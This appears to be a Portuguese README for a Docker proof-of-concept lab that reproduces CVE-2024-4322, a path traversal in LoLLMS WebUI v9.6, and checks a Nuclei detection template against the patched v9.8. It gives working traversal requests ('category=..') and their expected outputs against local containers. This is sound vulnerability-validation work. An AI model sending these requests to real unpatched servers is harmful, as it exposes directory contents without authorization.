
POC_CVE-2024-4322
Este repositório fornece laboratórios locais com Docker para reproduzir a CVE-2024-4322, uma vulnerabilidade de path traversal no LoLLMS WebUI v9.6, e para validar que o template do Nuclei associado não corresponde ao LoLLMS WebUI v9.8.
Use este laboratório apenas contra alvos locais, próprios ou explicitamente autorizados.
O endpoint /list_personalities no LoLLMS WebUI v9.6 é vulnerável a path
traversal. O parâmetro category, controlado pelo usuário, é anexado ao
personalities_zoo_path sem sanitização:
personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}'
Ao enviar category=.., a requisição pode escapar do diretório de
personalidades pretendido e listar o conteúdo de um diretório pai.
Sinal esperado da vulnerabilidade:
category= -> []
category=.. -> response contains "personalities_zoo"
O comportamento corrigido na v9.8 rejeita a entrada de traversal antes da listagem de diretórios.
| Ambiente | Versão | Serviço | URL do host | Resultado esperado do template |
|---|---|---|---|---|
| Linux vulnerável | v9.6 | linux-vuln-server | http://127.0.0.1:9600 | correspondência |
| Linux corrigido | v9.8 | linux-patched-server | http://127.0.0.1:9602 | sem correspondência |
| Windows vulnerável | v9.6 | windows-vuln-server | http://127.0.0.1:9601 | correspondência |
| Windows corrigido | v9.8 | windows-patched-server | http://127.0.0.1:9603 | sem correspondência |
Execute todos os comandos a partir do diretório que contém este README.
docker compose up --build -d linux-vuln-server
docker compose logs -f linux-vuln-server
Aguarde até:
Uvicorn running on http://0.0.0.0:9600
Pressione Ctrl-C para parar de seguir os logs. O contêiner continua em
execução.
curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq .
curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq .
Resultado esperado:
[]
["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"]
A ordem pode variar. O sinal importante é que a resposta do traversal difere da
resposta de controle e contém personalities_zoo.
nuclei -duc -validate -t templates/CVE-2024-4322.yaml
nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug
Resultado esperado:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=..

docker compose --profile patched up --build -d linux-patched-server
docker compose --profile patched logs -f linux-patched-server
Aguarde até:
Uvicorn running on http://0.0.0.0:9600
curl -i 'http://127.0.0.1:9602/list_personalities?category='
curl -i 'http://127.0.0.1:9602/list_personalities?category=..'
Resultado esperado:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml
Resultado esperado:
[INF] Scan completed ... 0 matches found.

Isto requer o Docker Desktop no modo contêineres do Windows. Execute os comandos abaixo a partir deste diretório no PowerShell.
docker compose --profile windows up --build -d windows-vuln-server
docker compose --profile windows logs -f windows-vuln-server
Aguarde até:
Uvicorn running on http://0.0.0.0:9600
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category="
curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.."
Resultado esperado:
[]
["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"]
A ordem pode variar. O sinal importante é que a resposta do traversal difere da
resposta de controle e contém personalities_zoo.
nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug
Resultado esperado:
[CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=..

Isto requer o Docker Desktop no modo contêineres do Windows. Execute os comandos abaixo a partir deste diretório no PowerShell.
docker compose --profile windows up --build -d windows-patched-server
docker compose --profile windows logs -f windows-patched-server
Aguarde até:
Uvicorn running on http://0.0.0.0:9600
curl.exe -i "http://127.0.0.1:9603/list_personalities?category="
curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.."
Resultado esperado:
category= -> HTTP 200 []
category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"}
nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml
Resultado esperado:
[INF] Scan completed ... 0 matches found.

Contêineres Linux:
docker compose --profile patched down --rmi local
Contêineres do Windows:
docker compose --profile windows down
curl.jq para os exemplos HTTP do Linux vulnerável.Se o jq não estiver disponível no host Linux, use o contêiner do analista:
docker compose --profile tools run --rm analyst sh
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq .
curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq .
Se o Nuclei não estiver instalado no Windows, baixe o binário da versão para
Windows de https://github.com/projectdiscovery/nuclei/releases, descompacte-o
e execute nuclei.exe diretamente do diretório extraído.
Os Dockerfiles corrigem os instaladores históricos durante o build para que o laboratório seja reproduzível hoje:
Os laboratórios vulneráveis clonam a tag v9.6 do lollms-webui.
Os laboratórios corrigidos clonam a tag v9.8 do lollms-webui.
A URL do submódulo lollms_core é reescrita para
https://github.com/ParisNeo/lollms_legacy.git porque o histórico antigo do
código foi movido para lá.
O pinning de versão é verificado em relação aos metadados Git upstream:
v9.6 é e2f2d313cd6ea3fe81dfc4496f985f5b650853b9, e v9.8 é
8a8e3a1c386321f641a014bf8f7029512ccad411.
git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8
Os commits correspondentes do submódulo lollms_core são
cfb18f6f1091addf440347322441ab28005a2d3b para v9.6 e
6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49 para v9.8, verificados com
git ls-tree HEAD lollms_core em cada checkout de tag.
As opções auto_update e auto_sync_* são desabilitadas para manter cada
laboratório fixado.
Arquivos de configuração headless são injetados para que o servidor possa iniciar sem prompts.
Dependências pesadas que não são necessárias para a validação do endpoint são ignoradas quando possível.
Os instaladores do Windows são corrigidos para criar seu diretório temporário e evitar submódulos recursivos obsoletos.
A invariante quebrada é:
resolved path must stay inside the personalities directory
LoLLMS WebUI v9.8 e versões posteriores resolvem o problema sanitizando ou
restringindo o caminho do parâmetro category antes que ele chegue à lógica de
listagem de diretórios do sistema de arquivos. Para implantações reais,
atualize o LoLLMS WebUI para a versão 9.8 ou posterior.